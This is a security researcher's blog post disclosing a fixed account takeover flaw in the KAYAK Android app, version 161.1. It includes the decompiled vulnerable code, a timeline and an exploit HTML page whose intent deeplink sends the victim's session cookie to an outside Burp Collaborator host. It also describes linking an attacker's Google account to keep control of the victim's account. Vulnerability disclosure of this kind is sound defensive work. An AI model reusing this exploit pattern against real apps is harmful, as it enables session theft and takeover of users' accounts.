Tabla de contenidos

Title

Table of content

Tabla de contenidos

Title



Blog

Ataques

Account takeover in KAYAK: Is the app itself delivering the cookie to me?

Carlos Bello

Investigador de seguridad

Actualizado

23 nov 2022



4 min

While researching zero-day vulnerabilities in mobile applications, I found it's possible to steal a user's session cookie through a malicious deeplink in KAYAK v161.1. Below, I will explain this vulnerability in detail, where it is located in the code and what steps must be taken to replicate the exploit.

Where is this vulnerability?

I found the following exported activity in the AndroidManifest.xml file:

<activity android:name="com.kayak.android.web.ExternalAuthLoginActivity" android:exported="true" android:launchMode="singleTask">
    <intent-filter>
        <data android:scheme="kayak"/>
        <data android:host="externalAuthentication"/>
        <action android:name="android.intent.action.VIEW"/>
        <category android:name="android.intent.category.DEFAULT"/>
        <category android:name="android.intent.category.BROWSABLE"/>
    </intent-filter>
</activity>

This means that any app installed on a mobile device with that vulnerable version of KAYAK can interact with this activity. In addition, this activity can be called from a deeplink and accepts implicit intents.

ExternalAuthLoginActivity

After noticing that, I immediately went to the exported activity to see what it did and how it did it. While analyzing and reading the source code, I came across two very striking functions:

 private final String getRedirectUrl() {
        String stringExtra = getIntent().getStringExtra(EXTRA_REDIRECT_URL);
        return stringExtra == null ? "" : stringExtra;
 }

 private final void launchCustomTabs() {
        m.d b10 = new d.a(this.helper.getSession()).g(true).b();
        p.d(b10, "Builder(helper.session)\n…rue)\n            .build()");
        Uri.Builder buildUpon = Uri.parse(getRedirectUrl()).buildUpon();
        buildUpon.appendQueryParameter(SESSION_QUERY_PARAM, l.getInstance().getSessionId());
        i.openCustomTab(this, b10, buildUpon.build(), null);
 }

Since the activity is exported, a malicious web page via a deeplink, or a malicious mobile app via an intent, could set up a malicious RedirectUrl using the getRedirectUrl function. Okay, but for this to have an impact, we need to see what we can do about this behavior.

That's where the launchCustomTabs method comes in, which, as we see, concatenates a GET parameter to the URL. That GET parameter is the mobile app user's session cookie:

public final String getSessionId() {
        String cookieValueInternal;
        synchronized (this) {
            cookieValueInternal = getCookieValueInternal(SESSION_COOKIE_NAME);
        }
        return cookieValueInternal;
}

public static final String SESSION_COOKIE_NAME = "p1.med.sid";

With this in mind, I didn't hesitate to log into the web application and delete all cookies to end up with a request like the following:

I uploaded the exploit to a malicious server:

<!DOCTYPE html>
<html>
    <body>
        <a id="exploit" href="intent://externalAuthentication#Intent;scheme=kayak;package=com.kayak.android;component=com.kayak.android.web.ExternalAuthLoginActivity;action=android.intent.action.VIEW;S.ExternalAuthLoginActivity.EXTRA_REDIRECT_URL=https://jsfl9yn414bp1z2sujwfjsj3ruxlla.burpcollaborator.net;end">Exploit</a>;
    </body>
</html>

Then, I opened it from the mobile app. Checking the malicious server logs, I saw how my account session cookie was leaked. So I copied it and put it in the request I showed above:

Account takeover POC

Below is a video demonstration of the exploitation of this vulnerability:

Problems and more problems - Account linking

I have found that once I steal the victim's cookie and log into the web application with it, I can see the victim's data without any problem. However, I cannot edit them for some strange reason. Therefore, investigating the web application, I realized that an attacker could gain full access to the account —and then view, edit, delete information, etc.— by simply linking a Google account (or any other available provider).

In this case, I linked a Google account corresponding to the attacker to the victim's account. The goal was that the attacker would then only have to log into the application from his Google account to gain access to the victim's account.

That's it. An unauthenticated, remote attacker can steal the account of any victim logged into the KAYAK mobile app for Android with a one-click attack.

Timeline

August 12, 2022

Vulnerability reported: Improper Access Control (CVSS: 9.3; Critical)
Vulnerability triaged

August 13, 2022

Vulnerability remediated
KAYAK v161.2 (10048) available on Play Store

Get started with Fluid Attacks' PTaaS right now

Etiquetas:

vulnerabilidad

hacking

exploit

software

codigo







Suscríbete a nuestro boletín

Mantente al día sobre nuestros próximos eventos y los últimos blog posts, advisories y otros recursos interesantes.

Posts relacionados

Ataques

Andres Roldan

•

1 de julio de 2020

Exploiting QuickZip 4.x

Read post



Ataques

Andres Roldan

•

17 de junio de 2020

Vulnserver KSTET multistage exploitation

Read post



Ataques

Andres Roldan

•

2 de julio de 2020

KSTET exploitation: DLL sideloading exploit

Read post



Ataques

Andres Roldan

•

11 de junio de 2020

Vulnserver GTER exploitation: Hunting eggs

Read post



Ataques

Kevin Amado

•

15 de noviembre de 2018

Asymmetric DoS, slow HTTP attack: The story of David and Goliath

Read post



Ataques

Jonathan Armas

•

22 de diciembre de 2017

Is that CSV secure? Defining CSV injection vulnerabilities

Read post



Ataques

Andres Roldan

•

12 de junio de 2020

GTER exploitation reusing socket stack: Every byte counts

Read post



Ataques

Andres Roldan

•

16 de junio de 2020

GMON exploitation harnessing SEH: Exceptions are good

Read post



Ataques

Andres Roldan

•

1 de julio de 2020

Exploiting QuickZip 4.x

Read post



Ataques

Andres Roldan

•

17 de junio de 2020

Vulnserver KSTET multistage exploitation

Read post



Ataques

Andres Roldan

•

2 de julio de 2020

KSTET exploitation: DLL sideloading exploit

Read post



Ataques

Andres Roldan

•

11 de junio de 2020

Vulnserver GTER exploitation: Hunting eggs

Read post



Inicia tu prueba gratuita de 21 días

Descubre los beneficios de nuestra solución Hacking Continuo, de la que ya disfrutan empresas de todos los tamaños.

Prueba gratis

Contactar a ventas

Inicia tu prueba gratuita de 21 días

Descubre los beneficios de nuestra solución Hacking Continuo, de la que ya disfrutan empresas de todos los tamaños.

Prueba gratis

Contactar a ventas

Inicia tu prueba gratuita de 21 días

Descubre los beneficios de nuestra solución Hacking Continuo, de la que ya disfrutan empresas de todos los tamaños.

Prueba gratis

Contactar a ventas

Inicia tu prueba gratuita de 21 días

Descubre los beneficios de nuestra solución Hacking Continuo, de la que ya disfrutan empresas de todos los tamaños.

Prueba gratis

Contactar a ventas

Fluid Attacks prueba aplicaciones y otros sistemas, abarcando todas las fases de desarrollo del software. Nuestro equipo ayuda a los clientes a identificar y gestionar rápidamente las vulnerabilidades para reducir el riesgo de incidentes y desplegar tecnología segura.